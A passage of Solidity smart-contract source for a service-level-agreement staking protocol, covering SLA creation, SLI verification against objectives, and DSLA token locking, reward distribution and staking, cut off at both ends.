view
returns (bool started)
{
require(
isValidPeriod(_periodType, _periodId),
"Period data is not valid"
);
started =
periodDefinitions[_periodType].starts[_periodId] < block.timestamp;
}
/**
* @dev public function to get the periodDefinitions
*/
function getPeriodDefinitions()
public
view
returns (PeriodDefinition[] memory)
{
// 6 period types
PeriodDefinition[] memory periodDefinition = new PeriodDefinition[](6);
periodDefinition[0] = periodDefinitions[PeriodType.Hourly];
periodDefinition[1] = periodDefinitions[PeriodType.Daily];
periodDefinition[2] = periodDefinitions[PeriodType.Weekly];
periodDefinition[3] = periodDefinitions[PeriodType.BiWeekly];
periodDefinition[4] = periodDefinitions[PeriodType.Monthly];
periodDefinition[5] = periodDefinitions[PeriodType.Yearly];
return periodDefinition;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.6;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./SLARegistry.sol";
import "./SLORegistry.sol";
import "./StakeRegistry.sol";
import "./PeriodRegistry.sol";
import "./Staking.sol";
/**
* @title SLA
* @dev SLA is a service level agreement contract used for service downtime
* compensation
*/
contract SLA is Staking {
using SafeMath for uint256;
enum Status {NotVerified, Respected, NotRespected}
struct PeriodSLI {
uint256 timestamp;
uint256 sli;
Status status;
}
//
string public ipfsHash;
address public immutable messengerAddress;
SLARegistry public slaRegistry;
PeriodRegistry private immutable periodRegistry;
SLORegistry private immutable sloRegistry;
uint256 public immutable creationBlockNumber;
uint128 public immutable initialPeriodId;
uint128 public immutable finalPeriodId;
PeriodRegistry.PeriodType public immutable periodType;
/// @dev extra data for customized workflows
bytes32[] public extraData;
bool private _breachedContract = false;
uint256 public nextVerifiablePeriod;
/// @dev periodId=>PeriodSLI mapping
mapping(uint256 => PeriodSLI) public periodSLIs;
/**
* @dev event for SLI creation logging
* @param timestamp 1. the time the SLI has been registered
* @param sli 2. the value of the SLI
* @param periodId 3. the id of the given period
*/
event SLICreated(uint256 timestamp, uint256 sli, uint256 periodId);
/**
* @dev event for Stake loging
* @param tokenAddress 1. -
* @param periodId 2. -
* @param amount 3. -
* @param caller 4. -
*/
event Stake(
address indexed tokenAddress,
uint256 indexed periodId,
address indexed caller,
uint256 amount
);
/**
* @dev event for Stake loging
* @param tokenAddress 1. -
* @param periodId 2. -
* @param amount 3. -
* @param caller 4. -
*/
event ProviderWithdraw(
address indexed tokenAddress,
uint256 indexed periodId,
address indexed caller,
uint256 amount
);
/**
* @dev event for Stake loging
* @param tokenAddress 1. -
* @param periodId 2. -
* @param amount 3. -
* @param caller 4. -
*/
event UserWithdraw(
address indexed tokenAddress,
uint256 indexed periodId,
address indexed caller,
uint256 amount
);
/**
* @dev throws if called by any address other than the messenger contract.
*/
modifier onlyMessenger() {
require(
msg.sender == messengerAddress,
"Only Messenger can call this function"
);
_;
}
/**
* @dev throws if called by any address other than the messenger contract.
*/
modifier onlySLARegistry() {
require(
msg.sender == address(slaRegistry),
"Only SLARegistry can call this function"
);
_;
}
/**
* @dev throws if called with an amount less or equal to zero.
*/
modifier notZero(uint256 _amount) {
require(_amount > 0, "amount cannot be 0");
_;
}
/**
* @param _owner 1. -
* @param _ipfsHash 3. -
* @param _messengerAddress 3. -
* @param _initialPeriodId 4. -
* @param _finalPeriodId 4. -
* @param _periodType 5. -
* @param _whitelisted 8. -
* @param _extraData 9. -
* @param _slaID 10. -
*/
constructor(
address _owner,
bool _whitelisted,
PeriodRegistry.PeriodType _periodType,
address _messengerAddress,
uint128 _initialPeriodId,
uint128 _finalPeriodId,
uint128 _slaID,
string memory _ipfsHash,
bytes32[] memory _extraData,
uint64 _leverage
)
public
Staking(
SLARegistry(msg.sender),
_periodType,
_whitelisted,
_slaID,
_leverage,
_owner
)
{
transferOwnership(_owner);
ipfsHash = _ipfsHash;
messengerAddress = _messengerAddress;
slaRegistry = SLARegistry(msg.sender);
periodRegistry = slaRegistry.periodRegistry();
sloRegistry = slaRegistry.sloRegistry();
creationBlockNumber = block.number;
initialPeriodId = _initialPeriodId;
finalPeriodId = _finalPeriodId;
periodType = _periodType;
extraData = _extraData;
nextVerifiablePeriod = _initialPeriodId;
}
/**
* @dev external function to register SLI's and check them against the SLORegistry
* @param _sli 1. the value of the SLI to check
* @param _periodId 2. the id of the given period
*/
function registerSLI(uint256 _sli, uint256 _periodId)
external
onlyMessenger
{
emit SLICreated(block.timestamp, _sli, _periodId);
nextVerifiablePeriod = _periodId + 1;
PeriodSLI storage periodSLI = periodSLIs[_periodId];
periodSLI.sli = _sli;
periodSLI.timestamp = block.timestamp;
(uint256 sloValue, ) = sloRegistry.registeredSLO(address(this));
if (sloRegistry.isRespected(_sli, address(this))) {
periodSLI.status = Status.Respected;
uint256 precision = 10000;
uint256 deviation =
_sli.sub(sloValue).mul(precision).div(
_sli.add(sloValue).div(2)
);
uint256 normalizedPeriodId = _periodId.sub(initialPeriodId).add(1);
uint256 rewardPercentage =
deviation.mul(normalizedPeriodId).div(
finalPeriodId - initialPeriodId + 1
);
_setRespectedPeriodReward(_periodId, rewardPercentage, precision);
} else {
periodSLI.status = Status.NotRespected;
_setUsersCompensation(_periodId);
_breachedContract = true;
}
}
function isAllowedPeriod(uint256 _periodId) external view returns (bool) {
if (_periodId < initialPeriodId) return false;
if (_periodId > finalPeriodId) return false;
return true;
}
function contractFinished() public view returns (bool) {
(, uint256 endOfLastValidPeriod) =
periodRegistry.getPeriodStartAndEnd(periodType, finalPeriodId);
return
_breachedContract == true ||
(block.timestamp >= endOfLastValidPeriod &&
periodSLIs[finalPeriodId].status != Status.NotVerified);
}
/**
*@dev stake _amount tokens into the _token contract
*@param _amount 1. amount to be staked
*@param _token 2. address of the ERC to be staked
*/
function stakeTokens(uint256 _amount, address _token)
external
notZero(_amount)
{
bool isContractFinished = contractFinished();
require(
!isContractFinished,
"Can only stake on not finished contracts"
);
_stake(_amount, _token);
emit Stake(_token, nextVerifiablePeriod, msg.sender, _amount);
StakeRegistry stakeRegistry = slaRegistry.stakeRegistry();
stakeRegistry.registerStakedSla(msg.sender);
}
function withdrawProviderTokens(uint256 _amount, address _tokenAddress)
external
notZero(_amount)
{
bool isContractFinished = contractFinished();
emit ProviderWithdraw(
_tokenAddress,
nextVerifiablePeriod,
msg.sender,
_amount
);
_withdrawProviderTokens(_amount, _tokenAddress, isContractFinished);
}
/**
*@dev withdraw _amount tokens from the _token contract
*@param _amount 1. amount to be staked
*@param _tokenAddress 2. address of the ERC to be staked
*/
function withdrawUserTokens(uint256 _amount, address _tokenAddress)
external
notZero(_amount)
{
if (msg.sender != owner()) {
bool isContractFinished = contractFinished();
require(isContractFinished, "Only for finished contract");
}
emit UserWithdraw(
_tokenAddress,
nextVerifiablePeriod,
msg.sender,
_amount
);
_withdrawUserTokens(_amount, _tokenAddress);
}
function getStakersLength() external view returns (uint256) {
return stakers.length;
}
function breachedContract() external view returns (bool) {
return _breachedContract;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.6;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./SLA.sol";
import "./SLORegistry.sol";
import "./PeriodRegistry.sol";
import "./MessengerRegistry.sol";
import "./StakeRegistry.sol";
import "./messenger/IMessenger.sol";
/**
* @title SLARegistry
* @dev SLARegistry is a contract for handling creation of service level
* agreements and keeping track of the created agreements
*/
contract SLARegistry {
using SafeMath for uint256;
/// @dev SLO registry
SLORegistry public sloRegistry;
/// @dev Periods registry
PeriodRegistry public periodRegistry;
/// @dev Messengers registry
MessengerRegistry public messengerRegistry;
/// @dev Stake registry
StakeRegistry public stakeRegistry;
/// @dev stores the addresses of created SLAs
SLA[] public SLAs;
/// @dev stores the indexes of service level agreements owned by an user
mapping(address => uint256[]) private userToSLAIndexes;
/// @dev to check if registered SLA
mapping(address => bool) private registeredSLAs;
// value to lock past periods on SLA deployment
bool public immutable checkPastPeriod;
/**
* @dev event for service level agreement creation logging
* @param sla 1. The address of the created service level agreement contract
* @param owner 2. The address of the owner of the service level agreement
*/
event SLACreated(SLA indexed sla, address indexed owner);
/**
* @dev event for service level agreement creation logging
* @param periodId 1. -
* @param sla 2. -
* @param caller 3. -
*/
event SLIRequested(
uint256 periodId,
address indexed sla,
address indexed caller
);
/**
* @dev event for service level agreement creation logging
* @param sla 1. -
* @param caller 2. -
*/
event ReturnLockedValue(address indexed sla, address indexed caller);
/**
* @dev constructor
* @param _sloRegistry 1. SLO Registry
* @param _periodRegistry 2. Periods registry
* @param _messengerRegistry 3. Messenger registry
* @param _stakeRegistry 4. Stake registry
* @param _checkPastPeriod 5. -
*/
constructor(
SLORegistry _sloRegistry,
PeriodRegistry _periodRegistry,
MessengerRegistry _messengerRegistry,
StakeRegistry _stakeRegistry,
bool _checkPastPeriod
) public {
sloRegistry = _sloRegistry;
sloRegistry.setSLARegistry();
periodRegistry = _periodRegistry;
stakeRegistry = _stakeRegistry;
stakeRegistry.setSLARegistry();
messengerRegistry = _messengerRegistry;
messengerRegistry.setSLARegistry();
checkPastPeriod = _checkPastPeriod;
}
/**
* @dev public function for creating canonical service level agreements
* @param _sloValue 1. -
* @param _sloType 2. -
* @param _ipfsHash 3. -
* @param _periodType 4. -
* @param _initialPeriodId 5. -
* @param _finalPeriodId 6. -
* @param _messengerAddress 7. -
* @param _whitelisted 8. -
* @param _extraData 9. -
* @param _leverage 10. -
*/
function createSLA(
uint256 _sloValue,
SLORegistry.SLOType _sloType,
bool _whitelisted,
address _messengerAddress,
PeriodRegistry.PeriodType _periodType,
uint128 _initialPeriodId,
uint128 _finalPeriodId,
string memory _ipfsHash,
bytes32[] memory _extraData,
uint64 _leverage
) public {
bool validPeriod =
periodRegistry.isValidPeriod(_periodType, _initialPeriodId);
require(validPeriod, "First period id not valid");
validPeriod = periodRegistry.isValidPeriod(_periodType, _finalPeriodId);
require(validPeriod, "Final period id not valid");
bool initializedPeriod =
periodRegistry.isInitializedPeriod(_periodType);
require(initializedPeriod, "Period type not initialized yet");
require(
_finalPeriodId >= _initialPeriodId,
"invalid finalPeriodId and initialPeriodId"
);
if (checkPastPeriod) {
bool periodHasStarted =
periodRegistry.periodHasStarted(_periodType, _initialPeriodId);
require(!periodHasStarted, "Period has started");
}
bool registeredMessenger =
messengerRegistry.registeredMessengers(_messengerAddress);
require(registeredMessenger == true, "messenger not registered");
SLA sla =
new SLA(
msg.sender,
_whitelisted,
_periodType,
_messengerAddress,
_initialPeriodId,
_finalPeriodId,
uint128(SLAs.length),
_ipfsHash,
_extraData,
_leverage
);
sloRegistry.registerSLO(_sloValue, _sloType, address(sla));
stakeRegistry.lockDSLAValue(
msg.sender,
address(sla),
_finalPeriodId - _initialPeriodId + 1
);
SLAs.push(sla);
registeredSLAs[address(sla)] = true;
uint256 index = SLAs.length.sub(1);
userToSLAIndexes[msg.sender].push(index);
emit SLACreated(sla, msg.sender);
}
/**
* @dev Gets SLI information for the specified SLA and SLO
* @param _periodId 1. id of the period
* @param _sla 2. SLA Address
* @param _ownerApproval 3. if approval by owner or msg.sender
*/
function requestSLI(
uint256 _periodId,
SLA _sla,
bool _ownerApproval
) public {
require(isRegisteredSLA(address(_sla)), "invalid SLA");
require(_periodId == _sla.nextVerifiablePeriod(), "invalid periodId");
(, , SLA.Status status) = _sla.periodSLIs(_periodId);
require(status == SLA.Status.NotVerified, "invalid SLA status");
bool breachedContract = _sla.breachedContract();
require(!breachedContract, "breached contract");
bool slaAllowedPeriodId = _sla.isAllowedPeriod(_periodId);
require(slaAllowedPeriodId, "invalid period Id");
PeriodRegistry.PeriodType slaPeriodType = _sla.periodType();
bool periodFinished =
periodRegistry.periodIsFinished(slaPeriodType, _periodId);
require(periodFinished, "period not finished");
address slaMessenger = _sla.messengerAddress();
SLIRequested(_periodId, address(_sla), msg.sender);
IMessenger(slaMessenger).requestSLI(
_periodId,
address(_sla),
_ownerApproval,
msg.sender
);
stakeRegistry.distributeVerificationRewards(
address(_sla),
msg.sender,
_periodId
);
}
function returnLockedValue(SLA _sla) public {
require(isRegisteredSLA(address(_sla)), "invalid SLA");
require(msg.sender == _sla.owner(), "msg.sender not owner");
uint256 lastValidPeriodId = _sla.finalPeriodId();
PeriodRegistry.PeriodType periodType = _sla.periodType();
(, uint256 endOfLastValidPeriod) =
periodRegistry.getPeriodStartAndEnd(periodType, lastValidPeriodId);
(, , SLA.Status lastPeriodStatus) = _sla.periodSLIs(lastValidPeriodId);
require(
_sla.breachedContract() ||
(block.timestamp >= endOfLastValidPeriod &&
lastPeriodStatus != SLA.Status.NotVerified),
"Should only withdraw for finished contracts"
);
ReturnLockedValue(address(_sla), msg.sender);
stakeRegistry.returnLockedValue(address(_sla));
}
/**
* @dev function to declare this SLARegistry contract as SLARegistry of _messengerAddress
* @param _messengerAddress 1. address of the messenger
*/
function registerMessenger(
address _messengerAddress,
string memory _specificationUrl
) public {
IMessenger(_messengerAddress).setSLARegistry();
messengerRegistry.registerMessenger(
msg.sender,
_messengerAddress,
_specificationUrl
);
}
/**
* @dev public view function that returns the service level agreements that
* the given user is the owner of
* @param _user Address of the user for which to return the service level
* agreements
* @return array of SLAs
*/
function userSLAs(address _user) public view returns (SLA[] memory) {
uint256 count = userToSLAIndexes[_user].length;
SLA[] memory SLAList = new SLA[](count);
uint256[] memory userSLAIndexes = userToSLAIndexes[_user];
for (uint256 i = 0; i < count; i++) {
SLAList[i] = (SLAs[userSLAIndexes[i]]);
}
return (SLAList);
}
/**
* @dev public view function that returns all the service level agreements
* @return SLA[] array of SLAs
*/
function allSLAs() public view returns (SLA[] memory) {
return (SLAs);
}
/**
* @dev public view function that returns true if _slaAddress was deployed using this SLARegistry
* @param _slaAddress address of the SLA to be checked
*/
function isRegisteredSLA(address _slaAddress) public view returns (bool) {
return registeredSLAs[_slaAddress];
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.6;
pragma experimental ABIEncoderV2;
/**
* @title SLORegistry
* @dev SLORegistry is a contract for handling creation of service level
* objectives and querying those service level objectives
*/
contract SLORegistry {
enum SLOType {
EqualTo,
NotEqualTo,
SmallerThan,
SmallerOrEqualTo,
GreaterThan,
GreaterOrEqualTo
}
struct SLO {
uint256 sloValue;
SLOType sloType;
}
/**
* @dev SLO Registered event
* @param sla 1. -
* @param sloValue 2. -
* @param sloType 3. -
*/
event SLORegistered(address indexed sla, uint256 sloValue, SLOType sloType);
address private slaRegistry;
mapping(address => SLO) public registeredSLO;
modifier onlySLARegistry {
require(
msg.sender == slaRegistry,
"Should only be called using the SLARegistry contract"
);
_;
}
function setSLARegistry() public {
// Only able to trigger this function once
require(
address(slaRegistry) == address(0),
"SLARegistry address has already been set"
);
slaRegistry = msg.sender;
}
/**
* @dev public function for creating service level objectives
* @param _sloValue 1. -
* @param _sloType 2. -
* @param _slaAddress 3. -
*/
function registerSLO(
uint256 _sloValue,
SLOType _sloType,
address _slaAddress
) public onlySLARegistry {
registeredSLO[_slaAddress] = SLO({
sloValue: _sloValue,
sloType: _sloType
});
emit SLORegistered(_slaAddress, _sloValue, _sloType);
}
/**
* @dev external view function to check a value against the SLO
* @param _value The SLI value to check against the SL
* @return boolean with the SLO honored state
*/
function isRespected(uint256 _value, address _slaAddress)
public
view
returns (bool)
{
SLO memory slo = registeredSLO[_slaAddress];
SLOType sloType = slo.sloType;
uint256 sloValue = slo.sloValue;
if (sloType == SLOType.EqualTo) {
return _value == sloValue;
}
if (sloType == SLOType.NotEqualTo) {
return _value != sloValue;
}
if (sloType == SLOType.SmallerThan) {
return _value < sloValue;
}
if (sloType == SLOType.SmallerOrEqualTo) {
return _value <= sloValue;
}
if (sloType == SLOType.GreaterThan) {
return _value > sloValue;
}
if (sloType == SLOType.GreaterOrEqualTo) {
return _value >= sloValue;
}
revert("isRespected wasn't executed properly");
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.6;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/presets/ERC20PresetMinterPauser.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "./SLA.sol";
import "./messenger/IMessenger.sol";
import "./SLARegistry.sol";
import "./StringUtils.sol";
/**
* @title StakeRegistry
* @dev StakeRegistry is a contract to register the staking activity of the platform, along
with controlling certain admin privileged parameters
*/
contract StakeRegistry is Ownable, ReentrancyGuard {
using SafeERC20 for ERC20;
using SafeMath for uint256;
/// @dev struct to return on getActivePool function.
struct ActivePool {
address SLAAddress;
uint256 stake;
string assetName;
address assetAddress;
}
struct LockedValue {
uint256 lockedValue;
uint256 slaPeriodIdsLength;
uint256 dslaDepositByPeriod;
uint256 dslaPlatformReward;
uint256 dslaMessengerReward;
uint256 dslaUserReward;
uint256 dslaBurnedByVerification;
mapping(uint256 => bool) verifiedPeriods;
}
address public DSLATokenAddress;
SLARegistry public slaRegistry;
//______ onlyOwner modifiable parameters ______
/// @dev corresponds to the burn rate of DSLA tokens, but divided by 1000 i.e burn percentage = DSLAburnRate/1000 %
uint256 private _DSLAburnRate = 3;
/// @dev (ownerAddress => slaAddress => LockedValue) stores the locked value by the staker
mapping(address => LockedValue) public slaLockedValue;
/// @dev DSLA deposit by period to create SLA
uint256 private _dslaDepositByPeriod = 1000 ether;
/// @dev DSLA rewarded to the foundation
uint256 private _dslaPlatformReward = 250 ether;
/// @dev DSLA rewarded to the Messenger creator
uint256 private _dslaMessengerReward = 250 ether;
/// @dev DSLA rewarded to user calling the period verification
uint256 private _dslaUserReward = 250 ether;
/// @dev DSLA burned after every period verification
uint256 private _dslaBurnedByVerification = 250 ether;
/// @dev max token length for allowedTokens array of Staking contracts
uint256 private _maxTokenLength = 1;
/// @dev max times of hedge leverage
uint64 private _maxLeverage = 100;
/// @dev array with the allowed tokens addresses of the StakeRegistry
address[] public allowedTokens;
/// @dev (userAddress => SLA[]) with user staked SLAs to get tokenPool
mapping(address => SLA[]) public userStakedSlas;
/**
* @dev event to log a verifiation reward distributed
* @param sla 1. The address of the created service level agreement contract
* @param requester 2. -
* @param userReward 3. -
* @param platformReward 4. -
* @param messengerReward 5. -
* @param burnedDSLA 6. -
*/
event VerificationRewardDistributed(
address indexed sla,
address indexed requester,
uint256 userReward,
uint256 platformReward,
uint256 messengerReward,
uint256 burnedDSLA
);
/**
* @dev event to log modifications on the staking parameters
*@param DSLAburnRate 1. (DSLAburnRate/1000)% of DSLA to be burned after a reward/compensation is paid
*@param dslaDepositByPeriod 2. DSLA deposit by period to create SLA
*@param dslaPlatformReward 3. DSLA rewarded to Stacktical team
*@param dslaUserReward 4. DSLA rewarded to user calling the period verification
*@param dslaBurnedByVerification 5. DSLA burned after every period verification
*/
event StakingParametersModified(
uint256 DSLAburnRate,
uint256 dslaDepositByPeriod,
uint256 dslaPlatformReward,
uint256 dslaMessengerReward,
uint256 dslaUserReward,
uint256 dslaBurnedByVerification,
uint256 maxTokenLength,
uint64 maxLeverage
);
/**
* @dev event to log modifications on the staking parameters
*@param sla 1. -
*@param owner 2. -
*@param amount 3. -
*/
event LockedValueReturned(
address indexed sla,
address indexed owner,
uint256 amount
);
/**
* @dev event to log modifications on the staking parameters
*@param dTokenAddress 1. -
*@param sla 2. -
*@param name 3. -
*@param symbol 4. -
*/
event DTokenCreated(
address indexed dTokenAddress,
address indexed sla,
string name,
string symbol
);
/**
* @dev event to log modifications on the staking parameters
*@param sla 1. -
*@param owner 2. -
*@param amount 3. -
*/
event ValueLocked(
address indexed sla,
address indexed owner,
uint256 amount
);
/**
* @param _dslaTokenAddress 1. DSLA Token
*/
constructor(address _dslaTokenAddress) public {
require(
_dslaDepositByPeriod ==
_dslaPlatformReward
.add(_dslaMessengerReward)
.add(_dslaUserReward)
.add(_dslaBurnedByVerification),
"Staking parameters should match on summation"
);
DSLATokenAddress = _dslaTokenAddress;
allowedTokens.push(_dslaTokenAddress);
}
/// @dev Throws if called by any address other than the SLARegistry contract or Chainlink Oracle.
modifier onlySLARegistry() {
require(
msg.sender == address(slaRegistry),
"Can only be called by SLARegistry"
);
_;
}
/**
* @dev sets the SLARegistry contract address and can only be called
* once
*/
function setSLARegistry() external {
// Only able to trigger this function once
require(
address(slaRegistry) == address(0),
"SLARegistry address has already been set"
);
slaRegistry = SLARegistry(msg.sender);
}
/**
*@dev add a token to ve allowed for staking
*@param _tokenAddress 1. address of the new allowed token
*/
function addAllowedTokens(address _tokenAddress) external onlyOwner {
require(!isAllowedToken(_tokenAddress), "token already added");
allowedTokens.push(_tokenAddress);
}
function isAllowedToken(address _tokenAddress) public view returns (bool) {
for (uint256 index = 0; index < allowedTokens.length; index++) {
if (allowedTokens[index] == _tokenAddress) {
return true;
}
}
return false;
}
/**
*@dev public view function that returns true if the _owner has staked on _sla
*@param _user 1. address to check
*@param _sla 2. sla to check
*@return bool, true if _sla was staked by _user
*/
function slaWasStakedByUser(address _user, address _sla)
public
view
returns (bool)
{
for (uint256 index = 0; index < userStakedSlas[_user].length; index++) {
if (address(userStakedSlas[_user][index]) == _sla) {
return true;
}
}
return false;
}
/**
*@dev register the sending SLA contract as staked by _owner
*@param _owner 1. SLA contract to stake
*/
function registerStakedSla(address _owner) external returns (bool) {
require(
slaRegistry.isRegisteredSLA(msg.sender),
"Only for registered SLAs"
);
if (!slaWasStakedByUser(_owner, msg.sender)) {
userStakedSlas[_owner].push(SLA(msg.sender));
}
return true;
}
/**
*@dev to create dTokens for staking
*@param _name 1. token name
*@param _symbol 2. token symbol
*/
function createDToken(string calldata _name, string calldata _symbol)
external
returns (address)
{
require(
slaRegistry.isRegisteredSLA(msg.sender),
"Only for registered SLAs"
);
ERC20PresetMinterPauser dToken =
new ERC20PresetMinterPauser(_name, _symbol);
dToken.grantRole(dToken.MINTER_ROLE(), msg.sender);
emit DTokenCreated(address(dToken), msg.sender, _name, _symbol);
return address(dToken);
}
function lockDSLAValue(
address _slaOwner,
address _sla,
uint256 _periodIdsLength
) external onlySLARegistry nonReentrant {
uint256 lockedValue = _dslaDepositByPeriod.mul(_periodIdsLength);
ERC20(DSLATokenAddress).safeTransferFrom(
_slaOwner,
address(this),
lockedValue
);
slaLockedValue[_sla] = LockedValue({
lockedValue: lockedValue,
slaPeriodIdsLength: _periodIdsLength,
dslaDepositByPeriod: _dslaDepositByPeriod,
dslaPlatformReward: _dslaPlatformReward,
dslaMessengerReward: _dslaMessengerReward,
dslaUserReward: _dslaUserReward,
dslaBurnedByVerification: _dslaBurnedByVerification
});
emit ValueLocked(_sla, _slaOwner, lockedValue);
}
function distributeVerificationRewards(
address _sla,
address _verificationRewardReceiver,
uint256 _periodId
) external onlySLARegistry nonReentrant {
LockedValue storage _lockedValue = slaLockedValue[_sla];
require(
!_lockedValue.verifiedPeriods[_periodId],
"Period rewards already distributed"
);
_lockedValue.verifiedPeriods[_periodId] = true;
_lockedValue.lockedValue = _lockedValue.lockedValue.sub(
_lockedValue.dslaDepositByPeriod
);
ERC20(DSLATokenAddress).safeTransfer(
_verificationRewardReceiver,
_lockedValue.dslaUserReward
);
ERC20(DSLATokenAddress).safeTransfer(
owner(),
_lockedValue.dslaPlatformReward
);
ERC20(DSLATokenAddress).safeTransfer(
IMessenger(SLA(_sla).messengerAddress()).owner(),
_lockedValue.dslaMessengerReward
);
_burnDSLATokens(_lockedValue.dslaBurnedByVerification);
emit VerificationRewardDistributed(
_sla,
_verificationRewardReceiver,
_lockedValue.dslaUserReward,
_lockedValue.dslaPlatformReward,
_lockedValue.dslaMessengerReward,
_lockedValue.dslaBurnedByVerification
);
}
function returnLockedValue(address _sla)
external
onlySLARegistry
nonReentrant
{
LockedValue storage _lockedValue = slaLockedValue[_sla];
uint256 remainingBalance = _lockedValue.lockedValue;
require(remainingBalance > 0, "locked value is empty");
_lockedValue.lockedValue = 0;
ERC20(DSLATokenAddress).safeTransfer(
SLA(_sla).owner(),
remainingBalance
);
emit LockedValueReturned(_sla, SLA(_sla).owner(), remainingBalance);
}
function _burnDSLATokens(uint256 _amount) internal {
bytes4 BURN_SELECTOR = bytes4(keccak256(bytes("burn(uint256)")));
(bool _success, ) =
DSLATokenAddress.call(
abi.encodeWithSelector(BURN_SELECTOR, _amount)
);
require(_success, "DSLA burn process was not successful");
}
/**
* @dev returns the active pools owned by a user.
* @param _slaOwner 1. owner of the active pool
* @return ActivePool[], array of structs: {SLAAddress,stake,assetName}
*/
function getActivePool(address _slaOwner)
external
view
returns (ActivePool[] memory)
{
bytes4 NAME_SELECTOR = bytes4(keccak256(bytes("name()")));
uint256 stakeCounter = 0;
// Count the stakes of the user, checking every SLA staked
for (
uint256 index = 0;
index < userStakedSlas[_slaOwner].length;
index++
) {
SLA currentSLA = SLA(userStakedSlas[_slaOwner][index]);
stakeCounter = stakeCounter.add(
currentSLA.getAllowedTokensLength()
);
}
ActivePool[] memory activePools = new ActivePool[](stakeCounter);
// to insert on activePools array
uint256 stakePosition = 0;
for (
uint256 index = 0;
index < userStakedSlas[_slaOwner].length;
index++
) {
SLA currentSLA = userStakedSlas[_slaOwner][index];
for (
uint256 tokenIndex = 0;
tokenIndex < currentSLA.getAllowedTokensLength();
tokenIndex++
) {
(address tokenAddress, uint256 stake) =
currentSLA.getTokenStake(_slaOwner, tokenIndex);
(, bytes memory tokenNameBytes) =
tokenAddress.staticcall(
abi.encodeWithSelector(NAME_SELECTOR)
);
ActivePool memory currentActivePool =
ActivePool({
SLAAddress: address(currentSLA),
stake: stake,
assetName: string(tokenNameBytes),
assetAddress: tokenAddress
});
activePools[stakePosition] = currentActivePool;
stakePosition = stakePosition.add(1);
}
}
return activePools;
}
//_______ OnlyOwner functions _______
function setStakingParameters(
uint256 DSLAburnRate,
uint256 dslaDepositByPeriod,
uint256 dslaPlatformReward,
uint256 dslaMessengerReward,
uint256 dslaUserReward,
uint256 dslaBurnedByVerification,
uint256 maxTokenLength,
uint64 maxLeverage
) external onlyOwner {
_DSLAburnRate = DSLAburnRate;
_dslaDepositByPeriod = dslaDepositByPeriod;
_dslaPlatformReward = dslaPlatformReward;
_dslaMessengerReward = dslaMessengerReward;
_dslaUserReward = dslaUserReward;
_dslaBurnedByVerification = dslaBurnedByVerification;
_maxTokenLength = maxTokenLength;
_maxLeverage = maxLeverage;
require(
_dslaDepositByPeriod ==
_dslaPlatformReward
.add(_dslaMessengerReward)
.add(_dslaUserReward)
.add(_dslaBurnedByVerification),
"Staking parameters should match on summation"
);
emit StakingParametersModified(
DSLAburnRate,
dslaDepositByPeriod,
dslaPlatformReward,
dslaMessengerReward,
dslaUserReward,
dslaBurnedByVerification,
maxTokenLength,
maxLeverage
);
}
function getStakingParameters()
external
view
returns (
uint256 DSLAburnRate,
uint256 dslaDepositByPeriod,
uint256 dslaPlatformReward,
uint256 dslaMessengerReward,
uint256 dslaUserReward,
uint256 dslaBurnedByVerification,
uint256 maxTokenLength,
uint64 maxLeverage
)
{
DSLAburnRate = _DSLAburnRate;
dslaDepositByPeriod = _dslaDepositByPeriod;
dslaPlatformReward = _dslaPlatformReward;
dslaMessengerReward = _dslaMessengerReward;
dslaUserReward = _dslaUserReward;
dslaBurnedByVerification = _dslaBurnedByVerification;
maxTokenLength = _maxTokenLength;
maxLeverage = _maxLeverage;
}
function periodIsVerified(address _sla, uint256 _periodId)
external
view
returns (bool)
{
return slaLockedValue[_sla].verifiedPeriods[_periodId];
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.6;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/presets/ERC20PresetMinterPauser.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./StakeRegistry.sol";
import "./SLARegistry.sol";
import "./PeriodRegistry.sol";
import "./StringUtils.sol";
contract Staking is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20;
/// @dev StakeRegistry contract
StakeRegistry private stakeRegistry;
/// @dev SLARegistry contract
PeriodRegistry private immutable periodRegistry;
/// @dev current SLA id
uint128 public immutable slaID;
/// @dev (tokenAddress=>uint256) total pooled token balance
mapping(address => uint256) public providerPool;
/// @dev (tokenAddress=>uint256) total pooled token balance
mapping(address => uint256) public usersPool;
///@dev (tokenAddress=>dTokenAddress) to keep track of dToken for users
mapping(address => ERC20PresetMinterPauser) public duTokenRegistry;
///@dev (tokenAddress=>dTokenAddress) to keep track of dToken for provider
mapping(address => ERC20PresetMinterPauser) public dpTokenRegistry;
/// @dev address[] of the stakers of the SLA contract
address[] public stakers;
/// @dev (slaOwner=>bool)
mapping(address => bool) public registeredStakers;
/// @dev DSLA token address to burn fees
address public immutable dslaTokenAddress;
/// @dev array with the allowed tokens addresses for the current SLA
address[] public allowedTokens;
/// @dev corresponds to the burn rate of DSLA tokens, but divided by 1000 i.e burn percentage = burnRate/1000 %
uint256 public immutable DSLAburnRate;
/// @dev PeriodRegistry period type of the SLA contract
PeriodRegistry.PeriodType private immutable periodType;
/// @dev boolean to declare if contract is whitelisted
bool public immutable whitelistedContract;
/// @dev (userAddress=bool) to declare whitelisted addresses
mapping(address => bool) public whitelist;
uint64 public immutable leverage;
modifier onlyAllowedToken(address _token) {
require(isAllowedToken(_token) == true, "token is not allowed");
_;
}
modifier onlyWhitelisted {
if (whitelistedContract == true) {
require(whitelist[msg.sender] == true, "Not whitelisted");
}
_;
}
/**
* @dev event for provider reward log
* @param periodId 1. id of the period
* @param tokenAddress 2. address of the token
* @param rewardPercentage 3. reward percentage for the provider
